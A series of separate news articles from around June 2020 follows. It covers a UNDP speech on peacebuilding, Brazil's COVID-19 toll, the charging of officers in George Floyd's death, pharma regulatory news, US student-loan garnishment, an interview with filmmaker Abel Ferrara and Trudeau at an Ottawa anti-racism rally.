UNDP is also working closely with PBSO to accelerate and finalize UN guidance on Conflict Sensitivity, Peacebuilding and Sustaining Peace, along with UNICEF, UNHCR, FAO, UN Habitat, WFP, and UNOPS. The guidance note, which is most relevant and timely in the COVID-19 response, should be ready in the coming days and weeks.

UNDP is also working together with partners like the World Bank in fragile and conflict-affected settings using a whole-of-society and whole-of-government approach to explore how we can leverage our resources, expertise, and capacities to help countries recover and build back better. UNDPs strong partnership with the World Bank includes our support to strengthening responsive, accountable and inclusive core government functions in fragile and crisis-affected settings as a core element of sustaining peace and peacebuilding. We are also reflecting on and adapting how core governance institutions (central and local) can and must adapt to this brave new world -- through improved ways of delivering services -- and through the use of digital technologies.

In the meantime, UNDP and DPPA continue to support our 50+ Peace and Development Advisors to help countries adapt to this new reality and indeed, new way of working in a post-COVID world through our joint UNDP-DPPA Programme on Building National Capacities for Conflict Prevention.

In sum, we can and indeed, we must build back better to regain stability and spur peace and prosperity in a world that is now changed forever. Ensuring a strong social cohesion and peacebuilding lens on how societies and institutions recover from this crisis is at the heart of turning the tide on the greatest reversal of human development into a decisive leap forward.

Let me conclude by emphatically stating that , to build a secure world , we must keep massively investing in Human Security! It is an investment with highest return; on Peace and on Prosperity. It is our strongest insurance policy as well as our passport to a secure future !

Thank you.
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Linkedin A. Muh. Ibnu Aqil (The Jakarta Post) Jakarta  Sat, June 6 2020

Indonesia is set to receive payment from Norway for successes in reducing deforestation and carbon emissions.

The Indonesian Environment and Forestry Ministry announced late last month the country was set to receive a US$56 million grant from Norway as the first payment under the Reducing Emissions from Deforestation and Forest Degradation (REDD+) cooperation scheme.

The grant is to be handed over in June, coinciding with the commemoration of a decade of climate funding cooperation, in which Indonesia expects to receive a total of $1 billion for protecting its tropical forests.

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Brazil's coronavirus death toll has skyrocketed to 34,000 making it the third-highest in the world, official figures show.

The South American country reported a new record of 1,473 deaths in 24 hours, bringing its overall toll to 34,021, behind only the United States and Britain.

The US has reported 108,211 deaths due to the deadly bug while the UK has had 39,987.

Brazil has also confirmed 614,941 infections, the health ministry said - the second-largest caseload in the world, behind the US.

Brazil's coronavirus death toll has skyrocketed to 34,000 making it third-highest death toll in the world, official figures show

Officials wearing hazmat suits dig graves at the Sao Luiz cemetery in Sao Paulo, Brazil

The South American country reported a new record of 1,473 deaths in 24 hours, bringing its overall toll to 34,021, behind only the United States and Britain. Pictured: Mass graves at a cemetery in Sao Paulo

Experts estimate the real number of infections could be up to 15 times higher than official figures, given relatively little testing across the vast country.

The latest figures underlined the grim toll the virus is taking in Latin America, the latest epicenter in the pandemic.

Brazil, a country of 210 million people, has been the hardest-hit in the region.

President Jair Bolsonaro has fiercely criticized coronavirus stay-at-home measures, even as the number of infections and deaths continues to soar.

Experts estimate the real number of infections could be up to 15 times higher than official figures, given relatively little testing across the vast country. Pictured: A medic in a protective suit wheels a man wearing a mask into hospital in Rio de Janeiro

A woman wears a protective mask as she walks along the streets of Sao Paulo, Brazil, yesterday

People wear protective masks as they wait for a bus in Sao Paulo. Brazil is now the third-worst hit country in the world

The far-right leader has urged businesses to wage 'war' on state governors who order closures, arguing they are needlessly hurting Latin America's biggest economy.

'We lament all deaths, but it's everyone's destiny,' Bolsonaro said in front of the presidential residence in Brasilia on Tuesday.

Even in states and cities where leaders had previously instituted lockdown orders, authorities rapidly loosened restrictions this week.

Cities across Sao Paulo state began reopening shopping malls and offices on Tuesday.

A newly-dug cemetery with mass graves lay empty in anticipation earlier this week as the coronavirus death toll continued to rise

But in the city of Sao Paulo itself, Mayor Bruno Covas has put back reopening non-essential businesses until after June 15.

Rio de Janeiro also began emerging from quarantine measures on Tuesday with beaches and businesses re-opening.

'In the current situation, relaxing the measures is adding gasoline to the fire,' Rafael Galliez, an infections expert at the Federal University of Rio de Janeiro said.

The regional office of the World Health Organization warned Brazil on Tuesday against reopening 'too quickly as there is a risk of a resurgence of COVID-19.'

The health ministry said there was 'no way to specify when the peak of deaths will occur' due to the country's size and geographic diversity.
Two Ex-Cops Charged in Floyds Death Were Rookies: Attorneys

MINNEAPOLISTwo of three Minneapolis police officers accused of aiding and abetting in the death of George Floyd were rookies barely off probation when a more senior officer ignored the black mans cries for help and pressed a knee into his neck, defense attorneys said Thursday.

Earl Gray said his client, former Officer Thomas Lane, had no choice but to follow the instructions of Derek Chauvin, who has since been charged with second-degree murder in Floyds May 25 death. Gray called the case against his client extremely weak.

A judge set bail at $750,000 apiece for Lane, J. Kueng and Tou Thao, when they made their first appearances in Hennepin County District Court Thursday. Simultaneously, and just blocks away, celebrities, friends, and relatives gathered to memorialize Floyd at a Bible college.

From left, Derek Chauvin, J. Alexander Kueng, Thomas Lane and Tou Thao. (Hennepin County Sheriffs Office via AP)

The Minneapolis Police Department fired all four officers last week and charged Chauvininitially with third-degree murderthe following day. But protests that began on the streets of Minneapolis quickly spread across the nation, calling for justice for Floyd and other African Americans who were killed by police.

On Wednesday, the three other officers were charged with aiding and abetting second-degree murder. If convicted, they potentially face the same penalty as Chauvin: up to 40 years in prison.

Gray said Thursday that all Lane did was hold Floyds feet so he couldnt kick, and he underlined that the criminal complaint says Lane asked Chauvin twice if they should roll Floyd over and expressed concern that Floyd might be in delirium. He said Lane performed CPR in the ambulance.

What was my client supposed to do but follow what his training officer said? Is that aiding and abetting a crime? Gray asked.

Gray and Kuengs defense attorney, Tom Plunkett, asked the court for lower bail, saying their clients had been police officers for just four days when Floyd was killed. Police records indicate that while the men were rookies, they had more experience than a handful of days on the force. According to their records, they joined the department in February 2019 and became full officers in December. Minneapolis officers must serve a year on probation and spend time in field training with a more senior officer before they are fully qualified.

Kueng, who is black, became a police officer because he wanted to make his community a better place, Plunkett said. He said Kueng was raised by his single mother on Minneapolis predominantly black north side.

Plunkett and Thaos attorney, Robert Paule, did not address the merits of the charges in court and declined to comment after the hearing out of respect for Floyds family during the memorial.

Judge Paul Scoggin set their next court dates for June 29. Gray said he plans to renew his arguments for lower bail then, saying it could take more than a year for Lanes case to go to trial.

A date for Chauvins first court appearance has not been set, and his attorney has not publicly commented on the case. The latest criminal complaint says his actions were a substantial causal factor in Mr. Floyd losing consciousness, constituting substantial bodily harm, and Mr. Floyds death as well.

The complaint against Lane, 37, notes that while he suggested to Chauvin that Floyd should be rolled over he took no actions to assist Mr. Floyd, to change his position, or to reduce the force the officers were using against Mr. Floyd.

Kuengs complaint says the 26-year-old was positioned between Chauvin and Lane and could hear their comments. Thao, 34, was seen in the cellphone video standing near a crowd of bystanders, and his complaint says although he fetched a hobble restraintdesigned to restrict the movement of a person in custodyfrom the squad car, the officers decided not to use it and maintained their positions.

Gov. Tim Walz and the Minnesota Department of Human Rights have ordered a civil rights investigation of the police department to determine how to address racial discrimination and create systemic change.

By Steve Karnowski
This week, Lilly LLY began phase I study on a potential antibody therapy to treat COVID-19. AstraZeneca AZN announced two new supply deals, which will require it to raise its manufacturing capacity for its coronavirus vaccine doses to 2 million, if it is successful. The FDA granted approvals for Lillys Cyramza & Taltz, AstraZenecas Brilinta, Roches RHHBY Tecentriq+Avastin and AbbVies ABBV Elagolix for new indications.

Recap of the Weeks Most Important Stories:

Lilly Begins Clinical Study on Coronavirus Antibody Candidate: Lilly said that the first patients have been dosed in a phase I study on LY-CoV555, its lead antibody therapy candidate in collaboration with private biotech, AbCellera. Lilly signed the deal with AbCellera in March to create antibody therapies to treat and prevent COVID-19. LY-CoV555 is the first candidate to emerge from the collaboration. The phase I study on LY-CoV555 will evaluate its safety and tolerability in patients hospitalized with COVID-19. Results from the study are expected in June. Lilly is also beginning large-scale manufacturing of this potential therapy simultaneously with its R&D efforts.

The FDA approved Lillys Cyramza as a combination regimen for metastatic EGFR-mutated non-small cell lung cancer. With the latest approval, Cyramza is now approved for six indications to treat certain types of lung, liver, stomach and colorectal cancers. FDA approval for label expansion of Cyramza was based on data from the phase III RELAY study.

The FDA also approved Taltz injection for the treatment of non-radiographic axial spondyloarthritis (nr-axSpA) in patients with objective signs of inflammation. With the approval, Taltz is now approved to treat patients across the full axSpA spectrum, including ankylosing spondylitis (AS), also known as radiographic axSpA, and nr-axSpA.

AstraZeneca Signs Two New Supply Deals for COVID-19 Vaccines: AstraZeneca announced agreements worth $750 million with Coalition for Epidemic Preparedness Innovations (CEPI) and Gavi the Vaccine Alliance to produce and supply 300 million doses of the coronavirus vaccine which it is developing with Oxford University. The two organizations are backed by Bill and Melinda Gates. It expects to begin delivery of the vaccine before the end of 2020. AstraZeneca has an agreement with Oxford University for the global development and distribution of the Universitys potential recombinant adenovirus vaccine, also known as AZD1222, to prevent COVID-19. AstraZeneca also reached a deal with the Serum Institute of India (SII) to supply one billion doses of the vaccine to India and other low and middle-income countries. AstraZeneca has committed to provide 400 million doses to SII before the end of the year.

Story continues

AZD1222 is currently being evaluated in a phase II/III study, with around 10,000 volunteers, which Oxford University initiated recently. Last month, AstraZeneca received more than $1billion in funding from BARDA to help produce the vaccine. AstraZeneca recently also secured agreements to supply at least 400 million doses to the United States and United Kingdom.

The FDA granted approval to AstraZenecas blood thinner medicine, Brilinta for reducing the risk of a first heart attack or stroke in high-risk patients with coronary artery disease, which is the most common type of heart disease. The approval was based on data from the phase III THEMIS study. Similar label expansion applications are under review in EU, Japan and China.

The Committee for Medicinal Products for Human Use (CHMP) of the European Medicines Agency (EMA) recommended marketing approval for AstraZeneca/Mercks Lynparza as a first-line maintenance treatment in germline BRCA-mutated metastatic pancreatic cancer. The recommendation was based on data from the phase III POLO study. Lynparza is already approved in the United States for this patient population based on the Phase III POLO study.

AstraZeneca also collaborated with Massachusetts-based private biotech, Accent Therapeutics to discover, develop and commercialize transformative therapeutics targeting RNA-modifying proteins (RMPs) for the treatment of cancer.

FDA Approves AbbVies Elagolix for Uterine Fibroids Indication: The FDA approved AbbVie and Neurocrine Biosciences elagolix for reducing heavy menstrual bleeding (HMB) in premenopausal women with uterine fibroids. The oral medicine will be marketed by the trade name of Oriahnn. Elagolix is already marketed by the trade name of Orilissa for management of pain associated with endometriosis, a common gynecologic disorder. Orilissa was approved in 2018.

AbbVie filed regulatory applications to the FDA as well as EMA seeking approval of Rinvoq (upadacitinib) for a second indicationactive psoriatic arthritis. Rinvoq was approved by the FDA in August and by EMA in December last year for treating for moderate-to-severe rheumatoid arthritis (RA)

AbbVie also entered into a strategic collaboration with small biotech, Jacobio Pharmaceuticals to develop and commercialize SHP2 inhibitors, which target a key node in cancer and immune cells.

FDA Approves Roches Tecentriq+Avastin for Liver Cancer: The FDA also approved Roches cancer immunotherapy regimen, Tecentriq plus Avastin for the treatment of unresectable or metastatic hepatocellular carcinoma, an aggressive form of liver cancer. The approval was based on data from the phase III IMbrave150 study which showed that the Tecentriq+Avastin combo improved overall survival and progression-free survival compared to the standard-of-care medicine, Nexavar (sorafenib).

IDMC Says Pfizers Early Breast Cancer Study on Ibrance May Fail: An independent Data Monitoring Committee (DMC) recommended that Pfizers PFE phase III study evaluating its blockbuster drug Ibrance in an early breast cancer indication may not show statistically significant improvement in its primary endpoint of invasive disease-free survival. Ibrance is presently marketed for HR+, HER2- advanced or metastatic breast cancer indications and is not approved for any early breast cancer indication.

Bristol-Myers Succeeds in Pivotal Ulcerative Colitis Study: Bristol-Myers BMY pivotal phase III study (True North), evaluating its newly-launched multiple sclerosis drug Zeposia (ozanimod) for moderate-to-severe ulcerative colitis met its co- primary endpoints. The study demonstrated highly statistically significant results for induction of clinical remission at week 10 and in maintenance at week 52, the studys primary endpoints. The study also met key secondary endpoints. Zeposia was added to Bristol-Myers portfolio with the 2019 acquisition of Celgene. Zeposia was approved by the FDA for relapsing forms of multiple sclerosis (RMS) in March this year and launched in June.

FDA Delays Decision on Novartis Ofatumumab: The FDA extended its review of Novartis NVS supplemental biologics license application (sBLA), seeking approval of ofatumumab by three months. Novartis has developed ofatumumab, a fully human anti-CD20 monoclonal antibody (mAb) targeting B-cells, for treating RMS as a subcutaneous therapy that can be self-administered (by a once-monthly injection) at home. The candidate is also under review in EU.

EU Approval to Sanofis Sarclisa and J&Js Darzalex Subcutaneous: The European Commission approved Sanofis Sarclisa (isatuximab) in combination with pomalidomide and dexamethason for the treatment of relapsed/refractory (third-line) multiple myeloma (RRMM). Sarclisa was approved in the United States in March.

The EC also approved J&Js subcutaneous formulation of Darzalexfor all currently approved multiple myeloma indications for the intravenous formulation of Darzalex. The subcutaneous formulation of Darzalex was approved in the United States in May.

ASCO Update: Several companies presented data from cancer studies at virtual annual meeting of the American Society of Clinical Oncology (ASCO).

Merck presented data from two studies on Keytruda plus Lenvima, which showed that the combination treatment led to clinically meaningful tumor response rates in unresectable hepatocellular carcinoma and advanced renal cell carcinoma. In a study evaluating Keytruda monotherapy for first-line treatment of patients with MSI-H colorectal cancer, Keytruda significantly reduced risk of disease progression or death by 40% and more than doubled median progression-free survival versus chemotherapy.

Novartiss data from the COMBI-AD study showed that treatment with Tafinlar + Mekinist following surgery leads to long-term and durable relapse-free survival (RFS) benefit in high-risk, stage III melanoma patients. The data showed that 52% of patients treated with adjuvant Tafinlar + Mekinist were alive and relapse-free at five years.

Roches data from a global phase III study demonstrated that its drug, Alecensa leads to clinically meaningful benefit in overall survival at five years compared with crizotinib in patients with ALK-positive NSCLC.

AstraZeneca presented detailed results from phase II studies, which showed that its partnered drug Enhertu led to clinically meaningful improvement in tumor responses/survival benefit in HER2-positive metastatic gastric cancer and ER2-mutant NSCLC and HER2-positive metastatic colorectal cancer. It also presented detailed data from two combination studies on Imfinzi.

Sanofi presented longer-term results from two pivotal studies on Libtayo in advanced cutaneous squamous cell carcinoma, which demonstrated both longer durability and higher complete response (CR) rates than previously reported.

The NYSE ARCA Pharmaceutical Index declined 0.29% in the last five trading sessions.

Large Cap Pharmaceuticals Industry 5YR % Return

Large Cap Pharmaceuticals Industry 5YR % Return

Large Cap Pharmaceuticals Industry 5YR % Return

Here is how the nine major stocks performed in the last five trading sessions.

Last week, AbbVie rose the most (3.4%) while Pfizer declined the most (5.7%).

In the past six months, Lilly has risen the most (26%) while Merck declined the most (8.2%).

(See the last pharma stock roundup here: MRK, RHHBY Give Coronavirus Updates, SNY to Sell Stake in REGN)

What's Next in the Pharma World?

Watch out for regular pipeline and regulatory updates next week.

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WASHINGTON - A series of court filings this week are raising concerns about the Trump administration's management of an unwieldy system for recouping past-due student debt, as thousands of borrowers continue to have their paychecks shorted or await the return of their seized pay.

The Trump administration is fighting a class-action lawsuit for continuing to garnish the wages of defaulted borrowers in violation of a federal order. The administration in March imposed a 60-day moratorium on the collection of defaulted student loans by the federal government during the pandemic, which Congress codified in the stimulus package and extended through Sept. 30.

Consumer advocates say the Education Department has failed to fully carry out the order to the detriment of struggling Americans, while the department insists it is doing everything within its power to get the job done.

Of the 390,000 people who were subject to involuntary collection as of March 13 - when President Donald Trump declared a national emergency - nearly 4% were still having money withheld from their paychecks as of May 28, according to court documents. That number is slightly higher than what the department previously reported.

In a court declaration, Mark Brown, chief operating officer in the department's student aid office, said the problem lies with employers.

"The process of applying the garnishment order to the employee's wages is wholly dependent on the employer implementing the notice of cancellation," Brown said. He said the department's contractor Maximus has called, emailed and mailed notices to employers to stop garnishing wages, but some have continued.

Advocates have accused the Education Department of failing to promptly mail out notices to employers. Brown said Maximus began mailing out notices on April 18, weeks after the moratorium took effect. People familiar with the matter, who were not authorized to speak publicly, previously told The Washington Post that most of the emails the department initially sent remained unopened. And they questioned why the agency failed to deploy all methods of communication from the outset.

Public interest attorneys at the National Consumer Law Center and National Student Legal Defense Network, which are representing borrowers, say the department is trying to abdicate its responsibility to enforce the law.

The Education Department is "styling itself as the passive participant in its own wage garnishment process, with employers exercising ultimate control," the attorneys wrote in a separate court filing. The agreement "the Department has arranged with employers - and now purports to be incapable of reversing - does not relieve the Department of authority or responsibility for wage garnishment."

If an employer continues to garnish a borrower's wages, the Education Department will refund the money it receives. The department said it has returned $171 million to more than 369,000 borrowers through the end of May.

Still, about 21,000 people are waiting for their money because the department does not have valid addresses on file. The agency said it has emailed borrowers asking them to update their information and is working with Treasury to validate mailing addresses through a data match.

But consumer advocates say the lack of current contact information for borrowers is an indication that the department's system for going after borrowers in default is deeply flawed.

"The department garnished borrowers' wages without even ensuring they could provide basic information directly to these borrowers, including about how to stop wages from being seized," said Seth Frotman, executive director of the Student Borrower Protection Center, an advocacy group.

The Trump administration is facing criticism from consumer advocates and liberal lawmakers for its handling of federal relief for borrowers amid the public health and economic crisis.

The Treasury and the Education departments are being sued for withholding nearly $19 million in tax refunds from 11,049 borrowers in violation of another federal order stemming from the pandemic. An Education Department contractor also admitted to incorrectly reporting the suspended student loan payments of millions of borrowers to credit bureaus, resulting in lower credit scores for some.
Abel Ferrara treats New York like an ex with whom hes on amicable terms. The filmmaker spent the 20th century as a load-bearing pillar of the emerging independent scene in NYC, taking grimily mesmerizing snapshots of street life and the scuzzballs peopling it. But flagging financing for his uncompromising visions of violence and sexuality, combined with the overhaul of the citys character catalyzed by 9/11, compelled him to relocate to Rome in the wake of that pivotal tragedy. He still feels a fondness for the city hell never renounce as home, even as he values the distance hes put between it and himself. Hes lived there long enough to know full well that a volatile love-hate relationship to the city is an essential facet of being a New Yorker.

These days, the former city slicker is getting domestic. Not just in terms of the pandemic quarantine, which has confined the 68-year-old to his apartment with his wife and young daughter, but in his embracing the role of a dutiful father and husband. Thats the gist of his newly released film Tommaso, which casts Ferraras longtime collaborator and close friend Willem Dafoe as a clear avatar for the director. The title figure is also a filmmaker with a past of substance dependency, trying to stay clean for the sake of his family while working through inner turmoil of his own. (Ferraras actual wife, daughter and apartment all stand in for themselves.) Its the sort of unruly, nakedly confessional auteur picture thats fallen out of fashion for all but the most fearless, driven cineastes.

With protests and the accompanying police brutality ramping up on the streets he used to tread, Ferrara got on the phone with InsideHook from his quarantine in Rome. The famously candid subject had plenty to say about the declining standards of pornography, the upsides of sobriety, the importance of visiting Jerusalem and the darkest chapter of New Yorks history.

InsideHook: You said in a recent interview that the character of Tommaso is both not you and not not you. What occupies in the gap between those two?

Abel Ferrara: I wrote it, so yeah, theres gonna be some biographical stuff. Confessions are part of this genre of drama Im working in. But when the filmmaking process takes over, it becomes in part about the actor whos gonna play it. They make for a physical prism, and through that, we make the character up together. I could never be someone who is already Willem. The creation of a film is the creation of a person. Tommaso has his own world outside of me.

A lot of filmmakers create avatars onscreen to do or say things they feel they couldnt in their actual lives.

I guess, but I pretty much say whatever I want anyway. I understand what youre getting at, though. Hes a tool for reflection, better understanding of myself. Any film gives you that, a character that might be based on its creator. Whether a characters based on you or based on someone else or made out of thin air, it always ends up revealing something about you. Thats the reason we do this. We come to a new understanding.

Like you, Tommasos playing family man while living in Italy, trying to be a good husband and father to a young child. Have you gotten comfortable with that phase in life?

This is my second time around raising kids, I got two older daughters. The big difference now is that Im sober, and I wasnt sober the first time. Thats the change, doing this all without drugs and alcohol. Its  [long pause of contemplation] way, waaaay better. Thats putting it mildly.

I think the most powerful scenes in the film come from Tommasos Narcotics Anonymous meetings. He talks about the difficulties of staying disciplined, and you mentioned last year that you dont go to Napoli anymore because there are too many reminders of using. Is being sober still a day-to-day challenge?

Yeah, its every day. They say this shit so much, but its true  you take it one day at a time. After seven years now, I cant take anything for granted. Ive been given a second lease on life, a chance to make some things better and do some things right. It was all an illusion, the needing, whether it was drugs or alcohol or any other self-destruction. But it was an illusion with a physical reality, and so it feels much stronger. Now that its lifted, now that its gone, Ive found a new peace. Its a rebirth  but its tenuous. Ive been around too many people who take me back. Your alcoholism works even when youre not drinking, you know, its a fucking disease. You gotta be on guard, month after month. Theres no time limit, and you gotta accept that.

Tommaso finds some inner peace through meditation, and youve talked in the past about dabbling with Buddhism. Do you meditate regularly?

Yeah, I do, it helps. But Im a full Buddhist, though its not like I declared it officially one day.

I didnt want to put you in a box or anything.

Its not about a box, its just  the biggest Buddhists I know would never say Im a Buddhist. When you say that, you sound stupid, like youre showing off. Most people in the West who say that think its about replacing Jesus Christ with Buddha, and of course its not. Its a practice for me, not a religion. Its funny, I came to it when I was shooting Mary, a religious film about Mary Magdalene in Jerusalem. Being raised Roman Catholic, we spent our lives balancing out accepting and rejecting and questioning it, trying to deal with that pressure. And then, ah, you ever been to Jerusalem?

Cant say that I have.

You should make that trip, because thats a pretty heavy town. You go there, and for me, I started to see Jesus as a living man. He was a political figure, and once you think of the stories in that way, they become what they are. Him fighting against the Romans, thats a political struggle as much as it is a spiritual one. When you stand where he was crucified, it all changes. That forms a parallel to Tommaso, too, who has his own crucifixion. Both of them, they werent crucified in some villa far from town, they were basically killed at the gates of the city. Thats why theres a Christ on the cross near the train station in Rome, right where you get out. Its a symbol that says, Hey guys, you want to talk shit about the government? This is what happens. Its all messaging. You should go for Passover. Jerusalem, what a city.

All this Jesus talk  have you ever asked Willem about working on The Last Temptation of Christ?

We talked about this the first time I met him, a long time ago. I learned that day that hes not big on talking about Jesus.

You two have an extremely close bond, as creative collaborators and as friends over the years. What do you think it is that brings you two together?

Mutual interests. We come from similar homes, follow similar rules to live. An actor looks for a director; a director looks for an actor. You find someone who fits into your grooves and keep them around.

You moved out of New York after 9/11, citing a lot of the usual complaints  everything is too expensive, the independent art scene is fading. Being far away during another time of crisis, Im curious if your feelings have changed or if youve gotten any new perspective by witnessing this all from Rome.

For a while after 9/11, New York really felt like a place that was waking up to its sense of community. Its hard for me to speak about the New York of today, Ive been away so long. But theres no difference now, far as I can see. You wanna talk about Buddhism? We went from a world where were all living individually to a world where were all living through the same thing. Im a New Yorker forever, but really, I feel connected to it here in Rome. Citizen of the world, you know? Weve got lockdowns, riots, people getting arrested. Journalists out there, guys like you, getting locked up.

You see the footage of the CNN anchor getting fired on?

Fuck yeah, bro! Its insanity. You tell me, youre a journalist: Whats your next move?

I dont know, Im a film critic. My job is generally much lower-stakes than this.

You better buy a gun. They wont want you reviewing films, gotta be careful what you say. Its all about right to free speech, free press, everyones on those stakes now.

Ive seen a lot of people who live here leaving New York, and I think Id feel wrong to not be here through this part of its history, and I know your connection to the city is stronger than mine.

Are you from New York originally?

Ive been here a while, but Im from Massachusetts.

Where in the state?

Next to Salem, the one with the witch hysteria.

Shit. People are from Salem? Thats fucking great. You know any witches?

Not that I know of, but I did work at the Salem Witch Museum for a while.

Thats free speech right there. Probably the first free-speech crisis in the history of America, the prehistory of America, right in your town. But about New York, theres something there thats also in Rome, thats in every city in the world. I feel a connection. Look how this is all over America, because were all suffering from the same shit. The issues in New York are the issues in America are the issues in Europe. Economic disparity is destroying an entire class of people.

Its like, whats the point of New York if only rich people can live there?

New York will be what it is. The rich people will always be what they are. The reality Im talking about is hospital treatment. When theres not enough money to keep doctors and nurses safe, to isolate people who need it, to protect yourself from dying of something preventable, whether thats in your apartment or on the street? Thats when you know that the pain has risen to the point where chickens will soon come home to roost.

How have you been handling the lockdown yourself? I assume youre in your apartment all day, every day.

Ive been okay at home. I got an apartment here in Rome because the rents were so reasonable. Youve seen the apartment, most of Tommaso was shot in there  a few rooms, nice high ceilings, I can go up on the fuckin roof if I want to. Were happy if we can isolate safely. I have an editing room, thats where I spend most of my time, because were actually cutting another film right now. We finished shooting right before this whole thing hit. Im fortunate in that Im one of the few directors sitting on completed footage right now, so Ive got a whole job. Im grateful for that. I leave to edit for most of the day, and Im pretty sure that otherwise, my old lady would end up killing me. No matter how big our pad is.

Which movie is this, exactly?

Its a documentary we made about bringing Siberia to the Berlinale earlier this year. Theres original music, too. But the way were doing it is showing Berlin and that film festival as our last hurrah. We got to show a movie in a 2,000-seat theater, getting fresh reactions from everyone, and we intercut all that with the reality of the pandemic that was about to break.

I saw your documentary The Projectionist, about old movie houses in New York. The outlook wasnt all that encouraging then, and that was a couple years ago  has everything completely gone to hell? Or is there cause for optimism?

My hopes somewhere between not good and zero. Were in a brave new world. First of all is survival, thats number one, that as many people survive as possibly can. Thank god people can watch movies on their fucking screens at home, whether thats your first choice of how you want to see it or not. Its only second that we gotta figure out how to deal with this change once we can see movies again. This virus isnt a game, especially as you get older. A guy like me, as opposed to you, Im more susceptible to dying. The hippie generation started in the 60s and could end in 2020; Ive lost a bunch of good guys already, over the last month. The survival aspect, then moving onward. We cant start planning the second part before the first has been taken care of. How are we going to keep good people from getting sick? Being in enclosed spaces for a long period of time will probably be the last thing to come back.

Sitting around strangers seems like a strange thing to miss, but it really does bring me so much joy.

Yeah, no shit! Whats better in life than human connection? We can communicate with each other, we can even video in and its all cool, but its not a substitute for sitting, having coffee, joking around, seeing a fucking movie. The rhythms of talk get strained over video. Isolations not good for the human spirit. Everyone feels it, no one asked for things to be like this, but its here. We all need to deal with it in a compassionate and responsible way. I can see my home countrys going off the fucking rails.

Preparing for this interview, I tried to cover some of my blind spots in your filmography, including your first feature, the porno Nine Lives of a Wet Pussy. Do you think getting started in porn colored the rest of your career? Did you carry over anything you learned then as you went on making movies?

We were young, man, I was learning everything. Most of what I know about making movies started with porn. Older me, looking back at that opportunity, I remember just not wanting to wait. Going one day without working on a movie felt like going 20 years. The chance to make a film, on 35mm equipment, that would play in a theater? I jumped at it.

That movie creates a lot of nostalgia for an era I missed out on, when a person could go to a theater in Times Square and see porn with real budgets and real production values. Going online has drained a lot of the charm.

The answers to the question of why youre doing this and how youre going to do it have changed. There was a time when, at the end of production, youd have a movie. Thats different than a couple people just grinding away. Behind the Green Door is sexy, but its also just a fucking awesome film. Deep Throat, the gay porn classics during the 70s, theyre great cinema on their own, no jerking off necessary. Now, with everything online, the production model demands you work too fast. Theyre all money-hungry motherfuckers. You see this shit online, and even with the good stuff, theyre not really movies. Is there a story? Ill even just take a concept. Like, chick has a clitoris in her throat  when was the last time you saw a porno built around an idea that good? As weve seen, you can hang an entire film on that, if the concepts good enough.

Ive heard about film school kids and indie filmmakers trying to get out on the streets and shoot guerrilla style. Do you think that all of this hardship could be a shot in the arm for independent cinema?

They just gotta figure out how to shoot, same as Im figuring out right now. Its the same for both of us: the goal is to shoot without killing anyone. Whether its a 90-mile-an-hour car chase, hanging someone off of a cliff, shooting pornography in the time of AIDS, whatever, the first rule is keep everybody alive. Once you can be sure of that, you just have to shoot. You have to. We have to make movies. We have to.

The post Abel Ferrara Remembers Old New York, Life Before Quarantine and His Porno Roots appeared first on InsideHook.
The government of the United Arab Emirates (UAE) has donated 18 tonnes of medical supplies to help Marbella in the coronavirus crisis. In a move that confirms the strength of the town's links with the Arab world, the UAE has sent a shipment containing protective materials such as surgical face masks and hand sanitiser as well as items specific for hospital use. The donation was collected from Seville airport by two lorries and arrived in the town last Friday.

The 1,500 boxes of materials have been taken to the congress centre where they will be sorted before distribution. Equipment for hospital use will be given to the regional health authority for the Costa del Sol hospital. The rest will be distributed among residents in Marbella.

Marbella's mayor Angeles Munoz explained that the donation was organised through the UAE embassy in Madrid. "When the pandemic began we held a meeting with the ambassador and representatives in Marbella," said Munoz. "They asked us what we needed," she said explaining that despite the fact that the government was keen to make the donation, it still took several weeks to get through red tape before the goods could be sent.

Osman Musa Al-Hassan, a member of the Emirates diplomatic corps in Spain who manages the Abu Dhabi royal family's palace on the El Batatal estate in Marbella, was present to receive the shipment of material. Al-Hassan said that the donation is an example of his country's affection for Spain.
Prime Minister Justin Trudeau took a knee while attending a demonstration on Parliament Hill that was organized to protest racial injustice and police brutality.



Read more here: https://t.co/EqqbPu1nbu pic.twitter.com/Ae1fcO8va1  CTV News (@CTVNews) June 5, 2020

Update: June 5 4:00 p.m.

Prime Minister Justin Trudeau made an appearance at the Ottawa demonstration at Parliament Hill on Friday, along with Ahmed Hussen, Minister of Families, Children and Social Development.

Protesters shout Stand up to Trump, as Prime Minister @JustinTrudeau attends an anti-racism rally on Parliament Hill. pic.twitter.com/fvebwCtgPg  Power & Politics (@PnPCBC) June 5, 2020

Trudeau can be seen taking a knee, while protesters also shouted stand up to Trump while he was in the crowd.

______

This comes after a week of fielding questions about how the federal government would support the anti-racism movements in Canada and around the world.

Two days after the pause heard across Canada, when then prime minister took over 20 seconds of silence before answering a question on U.S. President Donald Trump using the military to clear protesters with tear gas and rubber bullets, reporters called for Justin Trudeau to explain his approach.

At a press conference on Thursday, the prime minister echoed his earlier statement about Canadians watching the U.S. with consternation and horror after being asked to provide context for the long pause days earlier.

Canadians continue to watch with consternation and horror whats going in the United States right now, Trudeau said. But that cant keep us from looking very carefully at our own systems and the work that we need to do to make sure that the millions of Canadians who face discrimination and intolerance every single day in their lived reality get better support.

Story continues

When asked if his pause should be interpreted as a silent condemnation of Trump, Trudeau did not answer the questions directly but said the prime minister should always stand up for Canadian values.

Canadians expect a prime minister to stand up for their values and their interests, and thats what Ive done in my entire time as prime minister, whether it be with the United States or with other countries around the world, he said.

The prime ministers comments come after NDP Leader Jagmeet Singh said Canada cannot be a passive bystander to racism.

What president Trump is doing is reprehensible, Singh said. He is acting in a way which is fuelling racism, he is acting in a way which is going to put peoples lives at risk, and it is wrong and it needs to be called out.

I think the prime minister has an important role, Canada has an important role, to call out when things that are so heinous are going on...what prime minister Trudeau did was wrong, he shouldnt have been silent.

Bloc Quebecois Leader Yves-Francois Blanchet has also criticized the prime minister for his strategic silence to questions about Trump.

I think the responsible thing to do was not to calculate in his mind 20 seconds of...strategic silence and instead say what he didnt have the courage to say, Blanchet said. The President of the United States, once again, is throwing oil on a dangerous fire against people, most on them in a peaceful fashion, who express sadness, indignation, sorrow, anger, all of that being entirely legitimate.

When asked directly why he will not openly condemn the U.S., Trudeau said he will continue to fight against racism by defending racialized Canadians and supporting people all around the world.

We have done much hand-in-hand with the black community over these past years, supporting them on reducing barriers but we recognize there is much more to do here in Canada, the prime minister said.

We recognize in Canada that there are systemic discrimination problems

With regards to issues of systemic discrimination in Canada, the prime minister said there is an awful lot of work to do in the country.

